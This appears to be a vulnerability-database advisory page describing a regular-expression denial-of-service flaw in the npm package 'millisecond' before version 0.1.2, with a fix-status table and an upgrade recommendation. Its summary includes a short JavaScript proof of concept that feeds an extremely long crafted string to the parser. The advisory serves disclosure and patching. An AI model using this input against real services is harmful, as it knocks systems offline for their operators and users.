Read the docs
TI-2021-22720 Aliases GHSA-m489-xr35-fjxr

Regular Expression Denial of Service in millisecond

Priority LOW 38CWE-1333Published · Updated

Key facts

Attack vector
—
Privileges required
—
User interaction
—
Attack complexity
—
Impact type
Denial of service
Confidentiality · integrity · availability
—
Fix status
Fixed

No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-1333.

Summary

Versions of `millisecond` prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed. ## Proof of concept ``` var ms = require('millisecond'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } ms(genstr(process.argv[2], "5") + " minutea"); ``` ## Recommendation Update to version 0.1.2 or later.

Why it matters now

Fix Fixed millisecond (npm): 0.1.2

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—millisecond (npm)before 0.1.20.1.2Patch availableGHSA-m489-xr35-fjxr
  • millisecond (npm) Vendor— Affected before 0.1.2 Fixed in 0.1.2 Patch available GHSA-m489-xr35-fjxr

Remediation

  • Fix · GHSA-m489-xr35-fjxr millisecond (npm) Fixed in 0.1.2 Advisory →

Timeline

  1. 2026-10-03 Threatist record created from GHSA-m489-xr35-fjxr

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences